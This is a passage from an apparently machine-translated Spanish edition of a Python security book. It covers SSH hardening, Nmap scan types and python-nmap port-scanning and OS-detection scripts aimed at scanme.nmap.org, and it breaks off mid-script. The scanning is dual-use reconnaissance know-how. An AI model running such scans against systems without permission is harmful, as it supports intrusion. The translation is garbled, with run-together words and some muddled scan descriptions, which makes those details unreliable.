(rec) -umac-64-etm@openssh.com -- mac algorithm to
remove
Si nos interesa cambiar la configuración predeterminada del
servidor, podemos hacerlo a través del archivo de
configuración. Por ejemplo, podríamos cambiar el puerto
predeterminado y desactivar el banner del servidor:
$ sudo nano /etc/ssh/sshd_config
Port 12000
PrintMotd no
Banner /dev/null
También es importantePara considerar los permisos de
laarchivos de configuración para garantizar que se mantenga el
principio del mínimo privilegio:
$ sudo chown -R root:root /etc/ssh
$ sudo chmod 700 /etc/ssh
$ sudo chmod 600 /etc/ssh/ssh_host_rsa_key
$ sudo chmod 600 /etc/ssh/ssh_host_dsa_key
$ sudo chmod 600 /etc/ssh/ssh_host_ecdsa_key
$ sudo chmod 600 /etc/ssh/ssh_host_ed25519_key
$ sudo chmod 644 /etc/ssh/ssh_host_rsa_key.pub
$ sudo chmod 644 /etc/ssh/ssh_host_dsa_key.pub
$ sudo chmod 644 /etc/ssh/ssh_host_ecdsa_key.pub
$ sudo chmod 644 /etc/ssh/ssh_host_ed25519_key.pub
$ sudo chmod 600 /etc/ssh/sshd_config
Recuerda que para que los cambios se reflejen, necesitamos
reiniciar el servidor SSH:
$ sudo service ssh restart
Una vez analizada la herramienta SSH-Audit, podríamos
analizar otras herramientas online que nos permiten verificar la
seguridad de servidores SSH, entre las que podemos destacar
la herramienta Rebex SSH Check .
Comprobación SSH de Rebex
Rebex SSH Check ( https://sshcheck.com ) es unaServicio
que permite escanear el servidor de intercambio de
claves.algoritmos y algoritmos de cifrado simétrico, así como
los algoritmos MAC que tenemos configurados actualmente en
el servidor SSH que estamos analizando:
Figura 7.3: Ejecución de Rebex SSH Check
En esta sección, nosotrosHemos analizado cómo podemos
auditar la seguridad de nuestro servidor SSH utilizando ssh-
auditherramientas en línea como Rebex SSH Check. Al auditar
nuestro servidor SSH con estas herramientas, podemos
garantizar su seguridad.
Resumen
Uno de los objetivos de este capítulo fue analizar los módulos
que nos permiten conectarnos con servidores FTP, SFTP y SSH.
En este capítulo, examinamos varios protocolos de red y
bibliotecas de Python que se utilizan para interactuar con
sistemas remotos. Finalmente, revisamos algunas herramientas
para auditar la seguridad de servidores SSH. Desde el punto de
vista de la seguridad, al utilizar los módulos y herramientas
que presentamos en este capítulo, ahora está bien preparado
para verificar el nivel de seguridad de un servidor y minimizar
la exposición a un posible atacante.
En el próximo capítulo, exploraremos paquetes de
programación para trabajar con el escáner Nmap y
obtendremos más información sobre los servicios y las
vulnerabilidades que se ejecutan en los servidores.
Preguntas
Para concluir, aquí tienes una lista de preguntas para que
pongas a prueba tus conocimientos sobre el material de este
capítulo. Encontrarás las respuestas en la sección de
Evaluaciones del Apéndice .
1. ¿Qué método ftplibdebemos utilizar para descargar
archivos y qué FTPcomando debemos ejecutar?
2. ¿Qué método del paramikomódulo nos permite
conectarnos a un servidor SSH y con qué parámetros
(host, nombre de usuario y/o contraseña)?
3. ¿Qué método del paramikomódulo nos permite abrir una
sesión para poder ejecutar comandos posteriormente?
4. ¿Cuál es la instrucción para ejecutar un
comando paramikoy cuál es el formato de respuesta?
5. ¿Cuál es la instrucción para informar paramikopara
aceptar claves del servidor por primera vez sin interrumpir
la sesión ni preguntar al usuario?
Lectura adicional
En los siguientes enlaces podrá encontrar más información
sobre las herramientas mencionadas y otras herramientas
relacionadas con la extracción de información de servidores
web:
ftplib : https://docs.python.org/3/library/ftplib.html
paramiko : https://www.paramiko.org
pysftp : https://pysftp.readthedocs.io/en/latest/
pysftp.html
Únete a nuestra comunidad en Discord
Únase al espacio Discord de nuestra comunidad para discutir
con el autor y otros lectores:
https://packt.link/SecNet
8
Trabajar con el escáner Nmap
Este capítulo describe cómo realizar escaneos de red
utilizando python-nmapNmap como contenedor para recopilar
información sobre una red, un host y los servicios que se
ejecutan en ese host. python-nmapproporciona un módulo
específico para tomar más control del proceso de escaneo de
una red para detectar puertos abiertos y servicios expuestos en
máquinas o servidores específicos.
En este capítulo se tratarán los siguientes temas:
Introducción al escaneo de puertos con Nmap
Escaneo de puertos conpython-nmap
Escaneo sincrónico y asincrónico conpython-nmap
Descubrimiento de servicios y vulnerabilidades con scripts
de Nmap
Escaneo de puertos mediante servicios en línea
Requisitos técnicos
Para aprovechar al máximo este capítulo, necesitará instalar
una distribución de Python en su equipo local y tener
conocimientos básicos del protocolo HTTP. Trabajaremos con la
versión 3.10 de Python, disponible
en https://www.python.org/downloads .
Los ejemplos y el código fuente de este capítulo están
disponibles en el repositorio de GitHub
en https://github.com/PacktPublishing/Python-for-
Security-and-Networking .
Mira el siguiente video para ver el código en
acción: https://packt.link/Chapter08 .
Este capítulo requiere la instalación del programa Nmap en su
sistema operativo y del python-nmapmódulo. Puede instalar
Nmap a través de la URL
oficial: https://nmap.org/download.html . Puede usar el
gestor de paquetes de su sistema operativo para instalarlo.
Aquí tiene una guía rápida sobre cómo instalar este módulo en
un sistema operativo Linux basado en Debian con Python 3.10,
usando los siguientes comandos:
$ sudo apt-get install python3.10
$ sudo apt-get install python3-setuptools
$ sudo pip3.10 install python-nmap
Introducción al escaneo de puertos con Nmap
Comencemos repasando la herramienta Nmap para el escaneo
de puertos y los principales tipos de escaneo que admite. En
esta primera sección, aprenderemos sobre Nmap como un
escáner de puertos que nos permite...Analizar puertos y
servicios que se ejecutan en un host específico.
Una vez que tuUna vez identificados los diferentes hosts en su
red, el siguiente paso es realizar un escaneo de puertos de
cada uno. Los equipos compatibles con protocolos de
comunicación utilizan puertos para establecer conexiones entre
ellos. Para permitir diferentes comunicaciones con múltiples
aplicaciones, se utilizan puertos para distinguir entre las
distintas comunicaciones en el mismo host o servidor.
Por ejemplo, la webLos servidores pueden utilizar el Protocolo
de transferencia de hipertexto ( HTTP ) para
proporcionaracceso a una página web queUtiliza el número de
puerto TCP 80de forma predeterminada. El Protocolo de
Transferencia de Archivos ( FTP ) y el Protocolo Simple
de Transferencia de Correo ( SMTP ) utilizan los
puertos 21y 25respectivamente.
Para cada dirección IP única, se identifica un número de puerto
de protocolo mediante un número de 16 bits, generalmente un
número en el rango de puertos de 0 a 65.535. La combinación
de un número de puerto y una dirección IP proporciona una
dirección completa para la comunicación. Dependiendo de la
dirección de la comunicación, se requieren tanto una dirección
de origen como una de destino (combinación de dirección IP y
puerto).
Tipos de escaneo con nmap
Nmap es unoUno de los proyectos más importantes en el
mundo de la ciberseguridad. Este escáner de puertos se ha
convertido en una herramienta esencial para las pruebas de
penetración. Cuando un investigador de seguridad quiere
comprobar la exposición de un objetivo a nivel de servicio, casi
siempre empieza realizando un escaneo de puertos para ver
qué puertos están abiertos, qué sistema operativo se utiliza e
incluso qué versión de un servicio en particular se utiliza.
Nmap es actualmente el mejor programa para realizar un
escaneo de hosts dentro de una red local, aunque también nos
permite comprobar si un host determinado con IPv4 o IPv6 está
en funcionamiento.
Desde el sitio https://nmap.org/download.html , podemos
descargar la última versión disponible de esta herramienta,
según el sistema operativo que usemos. Si ejecutamos la
herramienta NmapDesde la terminal de la consola, podemos
ver todas las opciones que nos proporciona:
$ nmap
Nmap 7.92 ( https://nmap.org )
Usage: nmap [Scan Type(s)] [Options] {target specification}
TARGET SPECIFICATION:
Can pass hostnames, IP addresses, networks, etc.
Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-
255.1-254
HOST DISCOVERY:
-sL: List Scan - simply list targets to scan
-sn: Ping Scan - disable port scan
-Pn: Treat all hosts as online -- skip host discovery
-PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to
given ports
-PE/PP/PM: ICMP echo, timestamp, and netmask request
discovery probes
SCAN TECHNIQUES:
-sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon
scans
-sU: UDP Scan
-sN/sF/sX: TCP Null, FIN, and Xmas scans
--scanflags <flags>: Customize TCP scan flags
-sI <zombie host[:probeport]>: Idle scan
-sY/sZ: SCTP INIT/COOKIE-ECHO scans
-sO: IP protocol scan
-b <FTP relay host>: FTP bounce scan
En la salida anterior, podemos ver las principales técnicas de
escaneo que proporciona nmap:
sT (TCP Connect Scan) : Esta es la opción que se utiliza
generalmente para detectar si un puerto estáAbierto o
cerrado. Con esta opción, un puerto se abre si el servidor
responde con un paquete con el indicador ACK al enviar
un paquete con el indicador SYN.
sS (TCP Stealth Scan) : Esto esUn tipo de escaneo
basado en el escaneo de conexión TCP, con la diferencia
de que la conexión en el puerto no se completa. Esta
opción consiste en verificar el paquete de respuesta del
objetivo antes de verificar un paquete con el indicador
SYN habilitado. Si el objetivo responde con un paquete
con el indicador RST, se puede verificar si el puerto está
abierto o cerrado.
sU (UDP Scan) : Este es un tipo de escaneo basado en el
protocolo UDP donde un paquete UDPSe envía para
determinar si el puerto está abierto. Si la respuesta es
otro paquete UDP, significa que el puerto está abierto. Si
la respuesta devuelve un paquete ICMP ( Protocolo de
Mensajes de Control de Internet ) de tipo 3 (destino
inalcanzable), el puerto no está abierto.
sA (TCP ACK Scan) : Este tipo de escaneo nos permite
saber si nuestra máquina objetivo tieneCualquier tipo de
firewall en ejecución. Esta opción de escaneo envía un
paquete con el indicador ACK activado al equipo de
destino. Si el equipo remoto responde con un paquete con
el indicador RST activado, se puede determinar que el
puerto no está filtrado por ningún firewall. Si no se recibe
respuesta del equipo remoto, se puede determinar que
hay un firewall filtrando los paquetes enviados al puerto
especificado.
sN (TCP NULL Scan) : este es un tipo de escaneo que
envía un paquete TCP al objetivoMáquina sin indicador. Si
la máquina remota devuelve una respuesta válida, se
puede determinar que el puerto está abierto. De lo
contrario, si la máquina remota devuelve un indicador
RST, podemos decir que el puerto está cerrado.
sF (TCP FIN Scan) : este es un tipo de escaneo que
envía un paquete TCP a la máquina de destinoCon el
indicador FIN. Si la máquina remota devuelve una
respuesta, se puede determinar que el puerto está
abierto. Si la máquina remota devuelve un indicador RST,
podemos decir que el puerto está cerrado.
sX (TCP XMAS Scan) : este es un tipo de escaneo que
envía un paquete TCP a la máquina de destinoCon el
indicador PSH, FIN o URG. Si la máquina remota devuelve
una respuesta válida, se puede determinar que el puerto
está abierto. Si la máquina remota devuelve un indicador
RST, podemos decir que el puerto está cerrado. Si se
obtiene un paquete ICMP tipo 3 en la respuesta, el puerto
se filtra.
El tipo deEl análisis predeterminado puede variar según el
usuario que lo ejecute, debido a los permisos que permiten el
envío de paquetes durante el análisis. Las diferencias entre los
tipos de análisis residen en los paquetes que devuelve el
equipo de destino y su capacidad para evitar ser detectados
por sistemas de seguridad como firewalls o sistemas de
detección de intrusiones.
Por ejemplo, un comando con la -sSopción (TCP SYN scan)
requiere ejecutar nmap con privilegios, ya que este tipo de
escaneo requiere privilegios de sockets/paquetes sin procesar.
Sin embargo, un comando con la -sTopción (TCP connect scan)
no requiere sockets sin procesar y -nmappuede ejecutarse sin
privilegios.
PuedeUtilice el comando de opción nmap -ho
visite https://nmap.org/book/man-port-scanning-
techniques.html para obtener más información sobre las
técnicas de escaneo de puertos compatibles con Nmap. Nmap
tambiénproporciona una interfaz gráfica conocida
como Zenmap ( https://nmap.org/zenmap ), que es una
interfaz simplificada en el motor Nmap.
El valor predeterminado de NmapEl comportamiento ejecuta un
escaneo de puertos utilizando una lista de puertos
predeterminada con los puertos comunes utilizados. Para cada
puerto, devuelve información sobre el estado del puerto y el
servicio que se ejecuta en él. En este punto, Nmap
categorizapuertos en los siguientes estados:
Abierto : este estado indica que un servicio está
escuchando conexiones en este puerto.
Cerrado : Esto indica que no hay ningún servicio
ejecutándose en este puerto.
Filtrado : esto indica que no se recibieron paquetes y no
se pudo establecer el estado.
Sin filtrar : esto indica que se recibieron paquetes pero
no se pudo establecer un estado.
En conclusión, el python-nmapmódulo se convirtió en el
principal para realizar este tipo de tareas. Este módulo ayuda a
manipular programáticamente los resultados del análisis de
Nmap para automatizar el escaneo de puertos.
Escaneo de puertos con python-nmap
En esta sección, vamos a:Revisar el python-nmapmódulo
paraEscaneo de puertos en Python. Aprenderemos cómo
el python-nmapmódulo usa Nmap y cómo es una herramienta
muy útil para optimizar las tareas relacionadas con los servicios
de descubrimiento en un objetivo, dominio, red o dirección IP
específicos.
python-nmap es una herramientaSu principal función es
descubrir qué puertos o servicios tiene abiertos para escuchar
un host específico. Además, puede ser una herramienta ideal
para administradores de sistemas o consultores de seguridad
informática a la hora de automatizar procesos de pruebas de
penetración y resolución de problemas de red.
Además de poder escanear hosts y puertos de un segmento de
red determinado, también ofrece la posibilidad de saber qué
versión de un determinado servicio, como SSH o FTP, se está
utilizando.Por la máquina objetivo. También nos permite
ejecutar scripts avanzados gracias al motor de scripts
Nmap ( NSE ) para automatizar diferentes tipos de ataques o
detectar servicios vulnerables en la máquina objetivo.
Puedes acceder al código fuente del proyecto en el siguiente
repositorio: https://bitbucket.org/xael/python-nmap/src/m
aster . También puedes encontrar documentación sobre el
proyecto en la siguiente
URL: https://xael.org/pages/python-nmap-en.html .
Ahora puedesImportar el python-nmapmódulo para obtenerLa
versión de nmap y las clases disponibles en este módulo. Con
los siguientes comandos, invocamos el intérprete de Python
para revisar los diversos métodos y funciones python-nmapque
ofrece:
>>> import nmap
>>> nmap.__version__
'0.7.1'
>>> dir(nmap)
['ET', 'PortScanner', 'PortScannerAsync', 'PortScannerError',
'PortScannerHostDict', 'PortScannerTimeout',
'PortScannerYield', 'Process', '__author__', '__builtins__',
'__cached__', '__doc__', '__file__', '__last_modification__',
'__loader__', '__name__', '__package__', '__path__', '__spec__',
'__version__', 'convert_nmap_output_to_encoding', 'csv', 'io',
'nmap', 'os', 're', 'shlex', 'subprocess', 'sys']
Una vez verificada la instalación, podemos empezar a escanear
en un host específico. Necesitamos instanciar un objeto de
la PortScannerclase para poder acceder al scan()método. Una
buena práctica para comprender el funcionamiento de un
proceso, método u objeto es usar el dir()método para
identificar los métodos disponibles en esta clase:
>>> port_scan = nmap.PortScanner()
>>> dir(port_scan)
['_PortScanner__process', '__class__', '__delattr__', '__dict__',
'__dir__', '__doc__', '__eq__', '__format__', '__ge__',
'__getattribute__', '__getitem__', '__gt__', '__hash__', '__init__',
'__init_subclass__', '__le__', '__lt__', '__module__', '__ne__',
'__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__',
'__sizeof__', '__str__', '__subclasshook__', '__weakref__',
'_nmap_last_output', '_nmap_path',
'_nmap_subversion_number', '_nmap_version_number',
'_scan_result', 'all_hosts', 'analyse_nmap_xml_scan',
'command_line', 'csv', 'get_nmap_last_output', 'has_host',
'listscan', 'nmap_version', 'scan', 'scaninfo', 'scanstats']
En la salida anterior, podemos ver las propiedades y métodos
disponibles en la PortScannerclase quese puede utilizar al crear
instanciasUn objeto de esta clase. Con el helpcomando,
podemos obtener información sobre el scan()método.
Si ejecutamos el help(port_scan.scan)comando, podemos ver
que el scanmétodo de la PortScannerclase recibe tres
argumentos, el(los) host(s), los puertos y los argumentos
relacionados con el tipo de escaneo:
>>> help(port_scan.scan)
Help on method scan in module nmap.nmap:
scan(hosts='127.0.0.1', ports=None, arguments='-sV',
sudo=False) method of nmap.nmap.PortScanner instance
Scan given hosts
May raise PortScannerError exception if nmap output was not
xml
Test existance of the following key to know
if something went wrong : ['nmap']['scaninfo']['error']
If not present, everything was ok.
:param hosts: string for hosts as nmap use it
'scanme.nmap.org' or '198.116.0-255.1-127' or
'216.163.128.20/20'
:param ports: string for ports as nmap use it '22,53,110,143-
4564'
:param arguments: string of arguments for nmap '-sU -sX -
sC'
:param sudo: launch nmap with sudo if True
:returns: scan_result as dictionary
En este punto, podríamos ejecutar nuestro primer escaneo con
el scan('ip', 'ports')método , donde el primer parámetro es la
dirección IP, el segundo es una lista de puertos y el tercero,
opcional, son las opciones de escaneo. En el siguiente ejemplo,
se realiza un escaneo en el scanme.nmap.orgdominio en los
puertos del rango 22- 443. Con el -sVargumento , ejecutamos
nmap para detectar servicios y versiones al ejecutar el
escaneo:
>>> portScanner = nmap.PortScanner()
>>> results = portScanner.scan('scanme.nmap.org', '22-443','-
sV')
>>> results
{'nmap': {'command_line': 'nmap -oX - -p 22-443 -sV
scanme.nmap.org', 'scaninfo': {'tcp': {'method': 'connect',
'services': '22-443'}}, 'scanstats': {'timestr': 'Sun Jan 15
19:26:53 2023', 'elapsed': '16.81', 'uphosts': '1', 'downhosts':
'0', 'totalhosts': '1'}}, 'scan': {'45.33.32.156': {'hostnames':
[{'name': 'scanme.nmap.org', 'type': 'user'}, {'name':
'scanme.nmap.org', 'type': 'PTR'}], 'addresses': {'ipv4':
'45.33.32.156'}, 'vendor': {}, 'status': {'state': 'up', 'reason':
'syn-ack'}, 'tcp': {22: {'state': 'open', 'reason': 'syn-
ack', 'name': 'ssh', 'product': 'OpenSSH', 'version': '6.6.1p1
Ubuntu 2ubuntu2.13', 'extrainfo': 'Ubuntu Linux; protocol 2.0',
'conf': '10', 'cpe': 'cpe:/o:linux:linux_kernel'}, 80: {'state':
'open', 'reason': 'syn-ack', 'name': 'http', 'product': 'Apache
httpd', 'version': '2.4.7', 'extrainfo': '(Ubuntu)', 'conf': '10', 'cpe':
'cpe:/a:apache:http_server:2.4.7'}}}}}
El anteriorLa salida devuelve que el objetivo que estamos
escaneandotiene el sistema operativo Ubuntu, la dirección IP
es 45.33.32.156,y tiene puertos 22y 80abiertos.
Extrayendo información con nmap
Nmap proporciona funciones para extraer información de forma
más eficiente. Por ejemplo, podemos obtenerinformación sobre
nombres de host, direcciones IP, resultados de escaneo,
protocolos y estado del host:
>>> portScanner.all_hosts()
['45.33.32.156']
>>> portScanner.scaninfo()
{'tcp': {'method': 'connect', 'services': '22-443'}}
>>> portScanner['45.33.32.156'].all_protocols()
['tcp']
>>> portScanner['45.33.32.156'].hostnames()
[{'name': 'scanme.nmap.org', 'type': 'user'}, {'name':
'scanme.nmap.org', 'type': 'PTR'}]
>>> portScanner['45.33.32.156'].state()
'up'
Con el command_line()método podemos ver el nmapcomando
que se ha ejecutado con la herramienta nmap:
>>> portScanner.command_line()
'nmap -oX - -p 22-443 -sV scanme.nmap.org'
Nmap proporciona una --openopción para mostrar los puertos
abiertos, por lo que puedes incluirla de la siguiente manera:
>>> portScanner.scan('scanme.nmap.org','21,22,80,443','-v --
open')
{'nmap': {'command_line': 'nmap -oX - -p 21,22,80,443 -v --
open scanme.nmap.org', 'scaninfo': {'tcp': {'method': 'connect',
'services': '21-22,80,443'}}, 'scanstats': {'timestr': 'Sun Jan 15
23:36:01 2023', 'elapsed': '0.63', 'uphosts': '1', 'downhosts': '0',
'totalhosts': '1'}}, 'scan': {'45.33.32.156': {'hostnames':
[{'name': 'scanme.nmap.org', 'type': 'user'}, {'name':
'scanme.nmap.org', 'type': 'PTR'}], 'addresses': {'ipv4':
'45.33.32.156'}, 'vendor': {}, 'status': {'state': 'up', 'reason':
'syn-ack'}, 'tcp': {22: {'state': 'open', 'reason': 'syn-ack',
'name': 'ssh', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3',
'cpe': ''}, 80: {'state': 'open', 'reason': 'syn-ack', 'name': 'http',
'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}}}}}
PudimosTambién obtenga todos estos datos en un formato más
legible a través del csv()método.
>>> portScanner.csv()
'host;hostname;hostname_type;protocol;port;name;state;produ
ct;extrainfo;reason;version;conf;cpe\r\
n45.33.32.156;scanme.nmap.org;user;tcp;22;ssh;open;;;syn-
ack;;3;\r\
n45.33.32.156;scanme.nmap.org;PTR;tcp;22;ssh;open;;;syn-
ack;;3;\r\
n45.33.32.156;scanme.nmap.org;user;tcp;80;http;open;;;syn-
ack;;3;\r\
n45.33.32.156;scanme.nmap.org;PTR;tcp;80;http;open;;;syn-
ack;;3;\r\n'
El siguiente script intenta realizar un escaneo con python-
nmaplas siguientes condiciones en los argumentos:
Lista de puertos de escaneo: 21, 22, 23, 25,80
La -nopción en el método de escaneo para no aplicar una
resolución DNS
Puede encontrar el siguiente código en
el Nmap_port_scanner.pyarchivo:
import nmap
portScanner = nmap.PortScanner()
host_scan = input('Host scan: ')
portlist="21,22,23,25,80"
portScanner.scan(hosts=host_scan, arguments='-n -p'+portlist)
print(portScanner.command_line())
hosts_list = [(x, portScanner[x]['status']['state']) for x in
portScanner.all_hosts()]
for host, status in hosts_list:
print(host, status)
for protocol in portScanner[host].all_protocols():
print('Protocol : %s' % protocol)
listport = portScanner[host]['tcp'].keys()
for port in listport:
print('Port : %s State : %s' % (port,portScanner[host]
[protocol][port]['state']))
En el script anterior, usamos el all_protocols()método para
analizar cada protocolo encontrado en
los portScannerresultados. Continuamos con la ejecución del
script:
$ python Nmap_port_scanner.py
Host scan: scanme.nmap.org
nmap -oX - -n -p21,22,23,25,80 scanme.nmap.org
45.33.32.156 up
Protocol : tcp
Port : 21 State : closed
Port : 22 State : open
Port : 23 State : closed
Port : 25 State : closed
Port : 80 State : open
En elEn la salida anterior, podemos ver el estado de los puertos
que estamos analizando. De forma similar, podríamos realizar
el escaneo especificando un nombre de dominio e indicando un
rango de puertos. Puede encontrar el siguiente código en
el PortScannerRange.pyarchivo:
import nmap
import socket
print("-----------" * 6)
print(' Scanner with Nmap: ')
print("-----------" * 6)
domain = input ('Domain: ')
port_range = input ('Port range: ')
ip_address = socket.gethostbyname(domain)
print("-----------" * 6)
print(" Scanning the host with ip address: " + ip_address)
print("-----------" * 6)
nm = nmap.PortScanner()
nm.scan(ip_address, port_range)
for host in nm.all_hosts():
print(" Host : %s (%s)" % (host,ip_address))
print(" State : %s" % nm[host].state())
for protocol in nm[host].all_protocols():
print("-----------" * 6)
print(" Protocols : %s" % protocol)
lport = nm[host][protocol].keys()
for port in lport:
print(" Port : %s \t State : %s" %(port, nm[host]
[protocol][port]['state']))
CuandoAl ejecutar el script anterior, podemos utilizar el
nombre de dominio para realizar el escaneo y el rango de
puertos que estamos interesados en analizar.
$ python PortScannerRange.py
------------------------------------------------------------------
Scanner with Nmap:
------------------------------------------------------------------
Domain: scanme.nmap.org
Port range: 70-80
------------------------------------------------------------------
Scanning the host with ip address: 45.33.32.156
------------------------------------------------------------------
Host : 45.33.32.156 (45.33.32.156)
State : up
------------------------------------------------------------------
Protocols : tcp
Port : 70 State : closed
Port : 71 State : closed
Port : 72 State : closed
Port : 73 State : closed
Port : 74 State : closed
Port : 75 State : closed
Port : 76 State : closed
Port : 77 State : closed
Port : 78 State : closed
Port : 79 State : closed
Port : 80 State : open
Ahora que ya sabe cómo python-nmapejecutar un escaneo de
una lista de puertos específica, pasemos a aprender sobre los
diferentes modos de escaneo con este módulo.
Escaneo sincrónico y asincrónico con python-nmap
En esteSección, revisaremos los modos de escaneo.compatible
con el python-nmapmódulo. Este módulopermite la
automatización del puertotareas de escáner y puede realizar
escaneos de dos maneras, de forma sincrónica y asincrónica:
Con el modo sincrónico , cada vez que se realiza un
escaneo en un puerto, debe finalizar para continuar con el
siguiente puerto.
Con el modo asíncrono , podemos realizar escaneos en
diferentes puertos simultáneamente y definir una función
de devolución de llamada que se ejecutará al finalizar un
escaneo en un puerto específico. Dentro de esta función,
podemos realizar operaciones adicionales, como
comprobar el estado del puerto o ejecutar un script de
Nmap para un servicio específico (HTTP, FTP o MySQL).
Repasemos estos modos uno por uno con más detalle e
intentemos implementarlos.
Implementación del escaneo sincrónico
En elEn el siguiente ejemplo, implementamos
una NmapScannerclase que permite escanear una dirección IP
y una lista de puertos que se pasan como parámetro. Puede
encontrar el siguiente código en el NmapScanner.pyarchivo:
import optparse
import nmap
class NmapScanner:
def __init__(self):
self.portScanner = nmap.PortScanner()
def nmapScan(self, ip_address, port):
self.portScanner.scan(ip_address, port)
self.state = self.portScanner[ip_address]['tcp'][int(port)]
['state']
print(" [+] Executing command: ",
self.portScanner.command_line())
print(" [+] "+ ip_address + " tcp/" + port + " " +
self.state)
En el código anterior, añadimos la configuración necesaria para
gestionar los parámetros de entrada. Ejecutamos un bucle que
procesa cada puerto enviado por el parámetro y llamamos
al nmapScan(ip, port)método de la NmapScannerclase. La
siguiente parte del código representa nuestra mainfunción para
gestionar los argumentos del script:
def main():
parser = optparse.OptionParser("usage%prog " + "--
ip_address <target ip address> --ports <target port>")
parser.add_option('--ip_address', dest = 'ip_address', type =
'string', help = 'Please, specify the target ip address.')
parser.add_option('--ports', dest = 'ports', type = 'string',
help = 'Please, specify the target port(s) separated by
comma.')
(options, args) = parser.parse_args()
if (options.ip_address == None) | (options.ports == None):
print('[-] You must specify a target ip_address and a target
port(s).')
exit(0)
ip_address = options.ip_address
ports = options.ports.split(',')
for port in ports:
NmapScanner().nmapScan(ip_address, port)
if __name__ == "__main__":
main()
Con la -hopción, nosotrosSe puede ver que las opciones están
siendo aceptadas por el script:
$ python NmapScanner.py -h
Usage: usageNmapScanner.py --ip_address <target ip
address> --ports <target port>
Options:
-h, --help show this help message and exit
--ip_address=IP_ADDRESS
Please, specify the target ip address.
--ports=PORTS Please, specify the target port(s)
separated by comma.
Esta podría ser la salida si ejecutamos el script anterior con el
host 45.33.32.156correspondiente al scanme.nmap.orgdominio
y puertos 21, 22, 23, 25, 80:
$ python NmapScanner.py --ip_address 45.33.32.156 --ports
21,22,23,25,80
[+] Executing command: nmap -oX - -p 21 -sV 45.33.32.156
[+] 45.33.32.156 tcp/21 closed
[+] Executing command: nmap -oX - -p 22 -sV 45.33.32.156
[+] 45.33.32.156 tcp/22 open
[+] Executing command: nmap -oX - -p 23 -sV 45.33.32.156
[+] 45.33.32.156 tcp/23 closed
[+] Executing command: nmap -oX - -p 25 -sV 45.33.32.156
[+] 45.33.32.156 tcp/25 closed
[+] Executing command: nmap -oX - -p 80 -sV 45.33.32.156
[+] 45.33.32.156 tcp/80 open
Además de realizar el escaneo de puertos y devolver el
resultado a la consola, podríamos generarLos resultados en
formato CSV. Puedes encontrar el siguiente código en
el NmapScannerCSV.pyarchivo:
import optparse
import nmap
import csv
class NmapScannerCSV:
def __init__(self):
self.portScanner = nmap.PortScanner()
def nmapScanCSV(self, host, ports):
try:
print("Checking ports "+ str(ports) +" ..........")
self.portScanner.scan(host, arguments='-n -p'+ports)
print("[*] Executing command: %s" %
self.portScanner.command_line())
print(self.portScanner.csv())
print("Summary for host",host)
with open('csv_file.csv', mode='w') as csv_file:
csv_writer = csv.writer(csv_file, delimiter=',')
csv_writer.writerow(['Host', 'Protocol', 'Port', 'State'])
for x in self.portScanner.csv().split("\n")[1:-1]:
splited_line = x.split(";")
host = splited_line[0]
protocol = splited_line[5]
port = splited_line[4]
state = splited_line[6]
print("Protocol:",protocol,"Port:",port,"State:",state
)
csv_writer.writerow([host, protocol, port, state])
except Exception as exception:
print("Error to connect with " + host + " for port
scanning" ,exception)
En la primera parte del código anterior, usamos el csv()método
del portScannerobjeto, que devuelve los resultados del escaneo
en un formato sencillo para recopilar la información. La idea es
que cada línea CSV obtenga información sobre el host, el
protocolo, el puerto y el estado. La siguiente parte del código
representa nuestra mainfunción para gestionar los argumentos
del script:
def main():
parser = optparse.OptionParser("usage%prog " + "--host
<target host> --ports <target port>")
parser.add_option('--host', dest = 'host', type = 'string', help
= 'Please, specify the target host.')
parser.add_option('--ports', dest = 'ports', type = 'string',
help = 'Please, specify the target port(s) separated by
comma.')
(options, args) = parser.parse_args()
if (options.host == None) | (options.ports == None):
print('[-] You must specify a target host and a target
port(s).')
exit(0)
host = options.host
ports = options.ports
NmapScannerCSV().nmapScanCSV(host,ports)
if __name__ == "__main__":
main()
En la mainfunción, somosGestionamos los argumentos del
script y llamamos al nmapScanCSV(host,ports)método,
pasando la dirección IP y la lista de puertos como parámetros.
En la siguiente salida, podemos ver la ejecución del script
anterior:
$ python NmapScannerCSV.py --host 45.33.32.156 --ports
21,22,23,25,80
Checking ports 21,22,23,25,80 ..........
[*] Executing command: nmap -oX - -n -p21,22,23,25,80
45.33.32.156
host;hostname;hostname_type;protocol;port;name;state;produ
ct;extrainfo;reason;version;conf;cpe
45.33.32.156;;;tcp;21;ftp;closed;;;conn-refused;;3;
45.33.32.156;;;tcp;22;ssh;open;;;syn-ack;;3;
45.33.32.156;;;tcp;23;telnet;closed;;;conn-refused;;3;
45.33.32.156;;;tcp;25;smtp;closed;;;conn-refused;;3;
45.33.32.156;;;tcp;80;http;open;;;syn-ack;;3;
Summary for host 45.33.32.156
Protocol: ftp Port: 21 State: closed
Protocol: ssh Port: 22 State: open
Protocol: telnet Port: 23 State: closed
Protocol: smtp Port: 25 State: closed
Protocol: http Port: 80 State: open
En la salida anterior, podemos ver el nmapcomando en
ejecución y el estado del puerto en formato CSV. Cada línea del
CSV muestra información sobre el host, el protocolo, el puerto,
el estado e información adicional relacionada con el estado del
puerto. Por ejemplo, si el puerto está cerrado, se muestra
el conn-refusedtexto y, si está abierto, se muestra syn-ack.
Finalmente, se imprime un resumen del host basado en la
información extraída del CSV.
En el siguiente ejemplo, utilizamos el nmapcomando para
detectar puertos que están abiertos yObtener información
sobre el sistema operativo. Encontrará el siguiente código en
el nmap_operating_system.pyarchivo:
import nmap, sys
command="nmap_operating_system.py <IP_address>"
if len(sys.argv) == 1:
print(command)
sys.exit()
host = sys.argv[1]
portScanner = nmap.PortScanner()
open_ports_dict = portScanner.scan(host, arguments="-O -v")
if open_ports_dict is not None:
open_ports_dict =
open_ports_dict.get("scan").get(host).get("tcp")
print("Open port-->Service")
port_list = open_ports_dict.keys()
for port in port_list:
print(port, "-->",open_ports_dict.get(port)['name'])
print("\n--------------Operating System details---------------------\
n")
print("Details about the scanned host are: \t",
portScanner[host]['osmatch'][0]['osclass'][0]['cpe'])
print("Operating system family is: \t\t", portScanner[host]
['osmatch'][0]['osclass'][0]['osfamily'])
print("Type of OS is: \t\t\t\t", portScanner[host]['osmatch'][0]
['osclass'][0]['type'])
print("Generation of Operating System :\t",
portScanner[host]['osmatch'][0]['osclass'][0]['osgen'])
print("Operating System Vendor is:\t\t", portScanner[host]
